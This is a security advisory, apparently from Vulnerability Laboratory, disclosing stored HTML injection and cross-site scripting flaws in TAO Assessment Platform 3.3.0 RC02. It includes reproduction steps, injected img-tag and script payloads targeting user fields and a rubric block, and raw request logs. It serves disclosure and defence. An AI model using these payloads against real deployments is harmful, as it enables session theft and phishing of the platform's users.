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# Title: TAO Open Source Assessment Platform 3.3.0 RC02 - HTML Injection # Author: Vulnerability Laboratory # Date: 2020-04-15 # Vendor: https://www.taotesting.com # Software Link: https://www.taotesting.com/product/ # CVE: N/A Document Title: =============== TAO Open Source Assessment Platform v3.3.0 RC02 - Multiple Web Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2215 Release Date: ============= 2020-04-16 Vulnerability Laboratory ID (VL-ID): ==================================== 2215 Common Vulnerability Scoring System: ==================================== 4 Vulnerability Class: ==================== Multiple Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Accelerating innovation in digital assessment. The TAO assessment platform gives you the freedom, control, and support to evolve with today's learners. For organizations who want the freedom to control their assessment software – from authoring to delivery to reporting. (Copy of the Homepage: https://www.taotesting.com/product/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple cross site vulnerabilities in the TAO Open Source Assessment Platform v3.3.0 RC02. Affected Product(s): ==================== Product: TAO Open Source Assessment Platform v3.3.0 RC02 Vulnerability Disclosure Timeline: ================================== 2020-04-16: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted authentication (user/moderator) - User privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ 1.1 A html injection web vulnerability has been discovered in the TAO Open Source Assessment Platform v3.3.0 RC02 web-application. The vulnerability allows remote attackers to inject own malicious html codes with persistent attack vector to compromise browser to web-application requests from the application-side. The html inject web vulnerability is located in the <code>userFirstName</code>, userLastName</code>, <code>userMail</code>, <code>password2</code>, and <code>password3 parameters of the user account input field. The request method to inject is POST and the attack vector is application-side. Remote attackers are able to inject html code for the user account credentials to provoke an execution within the main manage user listing. Successful exploitation of the web vulnerability results in persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Manage Users Vulnerable Parameter(s): [+] userFirstName [+] userLastName [+] userMail [+] password2 [+] password3 1.2 Multiple persistent cross site web vulnerabilities has been discovered in the TAO Open Source Assessment Platform v3.3.0 RC02. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent vulnerability is located in the content parameter of the Rubric Block (Add) module. Attackers are able to inject own malicious script code inside of the rubric name value. The attached values will be redisplayed in the frontend of tao. The request method to inject is POST and the attack vector is located on the application-side. The injection point is the Rubric Block (Add) module and the execution occurs in the frontend panel when listing the item attribute. Successful exploitation of the web vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Rubric Block (Add) Vulnerable Parameter(s): [+] content Proof of Concept (PoC): ======================= 1.1 The persistent html injection web vulnerability can be exploited by remote attackers with privileged user account and low user interaction. For security demonstration or to reproduce the security web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Install the application and open the ui 2. Move on top right to the user button and click manage users 3. Inject html script code payload into the vulnerable input fields 4. Save the entry 5. Open to the manage users listing Note: The payloads executes in the table that shows the user account values for admins 6. Successful reproduce of the html inject vulnerability! PoC: Vulnerable Source (Manage Users) <th class="actions">Actions</th> </tr></thead> <tbody> <tr data-item-identifier="http_2_localhost_1_tao_0_rdf_3_i1586957152301539"> <td class="login"><img src="https://www.evolution-sec.com/evosec-logo.png"></td> <td class="firstname"><img src="https://www.evolution-sec.com/evosec-logo.png"></td> <td class="lastname"><img src="https://www.evolution-sec.com/evosec-logo.png"></td> <td class="email"><img src="https://www.evolution-sec.com/evosec-logo.png"></td> <td class="roles">Test Taker</td> <td class="guiLg">German</td> <td class="status"><span class="icon-result-ok"></span> enabled</td> --- PoC Session Logs (POST) --- http://localhost:89/tao/Users/edit Host: localhost:89 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0 Accept: text/html, */*; q=0.01 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 1393 Origin: http://localhost:89 Connection: keep-alive Referer: http://localhost:89/tao/Main/index?structure=users&ext=tao§ion=edit_user Cookie: tao_GP8CPowQ=d6et7oifjip9jnkbc7pgeotsdj; tao_0855799=e0a3289004cc96a4ffba7bdcb8515d3665ccd004 user_form_sent=1&tao.forms.instance=1&token=e0a3289004cc96a4ffba7bdcb8515d3665ccd004&http_2_www_0_w3_0_org_1_2000_1_01_1_ rdf-schema_3_label=<img src="https://www.evolution-sec.com/evosec-logo.png">&id=http://localhost/tao.rdf#i1586957152301539 &http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userFirstName=<img src="https://www.evolution-sec.com/evosec-logo.png"> &http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userLastName=<img src="https://www.evolution-sec.com/evosec-logo.png"> &http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userMail=<img src="https://www.evolution-sec.com/evosec-logo.png">&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userUILg=http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langca& http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userRoles_9=http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_DeliveryRole& classUri=http_2_www_0_tao_0_lu_1_Ontologies_1_TAOSubject_0_rdf_3_Subject&uri=http_2_localhost_1_tao_0_rdf_3_i1586957152301539 &password2=<img src="https://www.evolution-sec.com/evosec-logo.png"> &password3=<img src="https://www.evolution-sec.com/evosec-logo.png"> - POST: HTTP/1.1 200 OK Server: Apache/2.4.38 (Win32) PHP/7.2.15 X-Powered-By: PHP/7.2.15 Set-Cookie: tao_0855799=a4dd4f04e0f27648dcd6ee3e966cdb380d511079; path=/ Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Reference(s): http://localhost:89/tao/Users/edit http://localhost:89/tao/Main/index 1.2 The persistent cross site scripting web vulnerability can be exploited by remote attackers with privileged user account with low user interaction. For security demonstration or to reproduce the cross site scripting web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open and login to the tao application 2. Move into the test module on top 3. Add new Rubric Block 4. Inject script code test payload into the text label content input field 5. Save the entry and move on the right site to activate 6. The click on activate includes and executes the content immediatly 7. Succesful reproduce of the cross site scripting vulnerability! PoC: Vulnerable Source <div class="rubricblock-content"><div>asd>"><span data-serial="img_l9lmylhuv8hf55xo9z264n" class="widget-box widget-inline widget-img" data-qti-class="img" contenteditable="false"> <img data-serial="img_l9lmylhuv8hf55xo9z264n" data-qti-class="img" src="" alt="" style="" width="100%"></span> <img data-serial="img_rxephz0lwthtejgsndo2f3" data-qti-class="img" src="evil.source" alt="" style=""> >"<script>alert(document.cookie)></script></div></iframe></div></div> </li></ol> PoC: Payload "<script>alert(document.cookie)></script> --- PoC Session Logs [POST] --- http://localhost:89/taoQtiTest/Creator/saveTest?uri=http%3A%2F%2Flocalhost%2Ftao.rdf%23i1586971961942612 Host: localhost:89 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 9664 Origin: http://localhost:89 Connection: keep-alive Referer: http://localhost:89/tao/Main/index?structure=tests&ext=taoTests§ion=authoring Cookie: tao_X3GLb7Ke=i89lfik72ts13i8soadgfb64hb; tao_f46245c=9ebdee0d0f34b349a61ba23443ecc950c43a0042 model={"qti-type":"assessmentTest","identifier":"Test-1","title":"QTI Example Test","toolName":"tao","toolVersion":"2.7","outcomeDeclarations":[], "timeLimits":{"qti-type":"timeLimits","maxTime":7810,"allowLateSubmission":false},"testParts":[{"qti-type":"testPart","identifier":"Introduction","navigationMode":1,"submissionMode":0,"preConditions":[],"branchRules":[], "itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":0,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":false, "validateResponses":false,"allowSkipping":true},"assessmentSections":[{"qti-type":"assessmentSection","title":"Section 1","visible":true, "keepTogether":true,"sectionParts":[{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971963337314","categories":[], "variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-1","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0, "itemSessionControl"{"qtitype":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":true, "validateResponses":false,"allowSkipping":true},"isLinear":false}],"identifier":"assessmentSection-1","required":true,"fixed":false,"preConditions":[],"branchRules":[], "itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":true,"validateResponses": false,"allowSkipping":true},"index":0}],"testFeedbacks":[],"index":0},{"qti-type":"testPart","identifier":"QTIExamples","navigationMode":0,"submissionMode":0,"preConditions":[],"branchRules":[],"assessmentSections":[{"qti-type":"assessmentSection","title":"Section 1","visible":false,"keepTogether":true,"sectionParts":[{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971964187315","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-2","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0,"itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowComment":false,"allowSkipping":true,"validateResponses":false},"isLinear":true, "timeLimits":{"maxTime":0,"minTime":0,"allowLateSubmission":false,"qti-type":"timeLimits"}},{"qti-type":"assessmentItemRef", "href":"http://localhost/tao.rdf#i1586971965925016","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-3","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":1,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true}, {"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i158697196662817","categories":[],"variableMappings":[],"weights":[], "templateDefaults":[],"identifier":"item-4","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":2,"itemSessionControl ":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971967539318","categories" :[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-5","required":false,"fixed":false,"preConditions":[],"branchRules":[], "index":3,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href": "http://localhost/tao.rdf#i1586971968508019","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-6", "required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":4,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971969922220","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier": "item-7","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":5,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i158697197087021","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-8","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":6,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971970668622","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier": "item-9","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":7,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true}],"identifier":"assessmentSection-2","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0, "itemSessionControl":{"qti-type":"itemSessionControl"},"rubricBlocks":[{"qti-type":"rubricBlock","index":0,"content":[{"qti-type":"div","id":"","class":"","xmlBase":"","lang":"","label":"","content":[{"qti-type":"textRun","content":"asd>"<script>alert(document.cookie)></script>", "xmlBase":""}]}],"views":["candidate"],"orderIndex":1,"uid":"rb1","feedback":{"activated":false,"outcome":null,"matchValue":null,"qti-type":"feedback"}, "class":""}]}],"testFeedbacks":[],"index":1}],"testFeedbacks":[],"scoring":{"modes":{"none":{"key":"none","label":"None","description":"No outcome processing. Erase the existing rules, if any.","qti-type":"none"},"custom":{"key":"custom","label":"Custom","description":"bufu","qti-type":"cut"},"qti-type":"modes"},"scoreIdentifier":"SCORE","weightIdentifier":"","cutScore":0.5,"categoryScore":false,"outcomeProcessing":"none","qti-type":"scoring"}} - POST: HTTP/1.1 200 OK Server: Apache/2.4.38 (Win32) PHP/7.2.15 X-Powered-By: PHP/7.2.15 Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Security-Policy: frame-ancestors 'self' Content-Length: 14 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json; charset=UTF-8 - http://localhost:89/tao/Main/evil.source Host: localhost:89 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: image/webp,*/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://localhost:89/tao/Main/index?structure=tests&ext=taoTests§ion=authoring Cookie: tao_X3GLb7Ke=i89lfik72ts13i8soadgfb64hb; tao_f46245c=9ebdee0d0f34b349a61ba23443ecc950c43a0042 - GET: HTTP/1.1 200 OK Server: Apache/2.4.38 (Win32) PHP/7.2.15 X-Powered-By: PHP/7.2.15 Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 169 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Security Risk: ============== 1.1 The security risk of the html inject web vulnerability in the web-application is estimated as medium. 1.2 The security risk of the persistent cross site scripting web vulnerability in the web-application is estimated as medium. Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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